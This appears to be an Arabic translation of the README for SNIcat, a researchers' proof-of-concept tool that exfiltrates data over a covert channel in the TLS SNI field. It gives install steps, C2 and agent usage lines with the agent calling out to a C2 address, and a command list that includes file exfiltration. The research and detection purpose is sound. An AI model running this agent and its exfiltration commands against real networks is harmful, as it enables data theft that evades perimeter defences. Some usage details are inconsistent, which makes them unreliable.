SNIcat (موحد مؤشر اسم الخادم)

SNIcat هي أداة إثبات مفهوم تقوم بتسريب البيانات باستخدام طريقة قناة خفية عبر مؤشر اسم الخادم، وهو امتداد TLS Client Hello. تتكون الأداة من وكيل موجود على المضيف الداخلي المخترق، وخادم قيادة وتحكم يتحكم في الوكيل ويجمع البيانات المسربة.

يمكن العثور على القصة الكاملة لـ SNIcat في منشور مدونتنا

إخلاء مسؤولية

تم اختبار SNIcat على macOS ومجموعة متنوعة من توزيعات لينكس. على الرغم من أنه يمكن نقله بسهولة، إلا أنه لا توجد نسخة ويندوز حالياً، حيث أن هذه مجرد أداة إثبات مفهوم.

لا تعمل طريقة التسريب مع الوكلاء الصريحين، بسبب استخدام HTTP CONNECT بدلاً من TLS Client Hello عند الاتصال عبر وكيل صريح.
قد لا تعمل SNIcat مع المنتجات وإصدارات البرامج التي لم نختبرها، لكن هذا لا يعني أن المنتجات و/أو إصدارات البرامج غير معرضة للخطر.

SNIcat في العمل

الخلفية والسيناريو

اكتشفنا طريقة تسريب جديدة وخادعة تتجاوز تحديداً حلول محيط الأمان مثل الوكلاء الإلكترونيين، وجدران الحماية من الجيل التالي (NGFW)، والحلول المخصصة لاعتراض TLS وتفتيشه. يثبت اختبارنا أن هذه مشكلة واسعة النطاق تؤثر على أنواع مختلفة من حلول الأمان بالإضافة إلى حلول من عدة موردين. اختبرنا تقنيتنا بنجاح ضد منتجات من Cisco وF5 Networks وPalo Alto Networks وFortinet، ونفترض أن العديد من الموردين الآخرين عرضة أيضاً.

باستخدام طريقة التسريب SNIcat، وجدنا أنه يمكننا تجاوز حل محيط أمان يقوم بتفتيش TLS، حتى عندما يكون نطاق القيادة والتحكم (C2) الذي نستخدمه محظوراً بواسطة ميزات السمعة ومنع التهديدات الشائعة المضمنة في حلول الأمان نفسها. باختصار، وجدنا أن الحلول المصممة لحماية المستخدمين عرّفتهم لثغرة أمنية جديدة.

لقد قدمنا أيضاً توقيع Suricata للكشف عن هذه الأداة المحددة.

التثبيت

استنساخ المستودع:

https://github.com/mnemonic-no/SNIcat.git

تثبيت التبعيات:

pip3 install -r requirements.txt --user

الإعداد الأولي

احصل على شهادة ومفتاح wildcard من مرجع تصديق موثوق به عام. هذه تمثل GOOD_CERT و GOOD_CERT_KEY.
استخدم شهادة ومفتاح موقّعين ذاتياً (غير موجودين في أي مخزن ثقة) كـ BAD_CERT و BAD_CERT_KEY.

(*) الاستخدام:      'python3 snicat_c2.py <منفذ الاستماع> <الشهادة الجيدة> <مفتاح الشهادة الجيدة> <الشهادة السيئة> <مفتاح الشهادة السيئة> log={on|off}'
(*) مثال:    'python3 snicat_c2_final.py 443 certs/good.pem certs/good.key certs/ssl-cert-snakeoil.pem log=off'

الوكيل

(*) الاستخدام:      'python3 snicat_agent.py <عنوان IP لخادم C2> <منفذ خادم C2> log={on|off}'
(*) مثال:    'python3 snicat_agent.py 192.0.2.1 443 log=off'

الاستخدام

الأوامر المتاحة لـ C2

LIST			 - 	عرض كل المحتوى في المجلد الحالي
LS			 - 	عرض الملفات فقط في المجلد الحالي
SIZE			 - 	عرض حجم الملفات في المجلد الحالي
LD			 - 	عرض كل دليل في المجلد الحالي
CB			 - 	الانتقال لأسفل إلى مجلد الجذر - مشابه لـ 'cd .. '
CD <معرف المجلد> 		 - 	الانتقال لأعلى إلى المجلد المحدد
EX <معرف الملف> 		 - 	تسريب الملف المحدد
ALIVE 			 - 	التحقق مما إذا كان الوكيل حياً/ميتاً
EXIT 			 - 	الخروج من خادم C2

SNIcat

الأكثر شعبية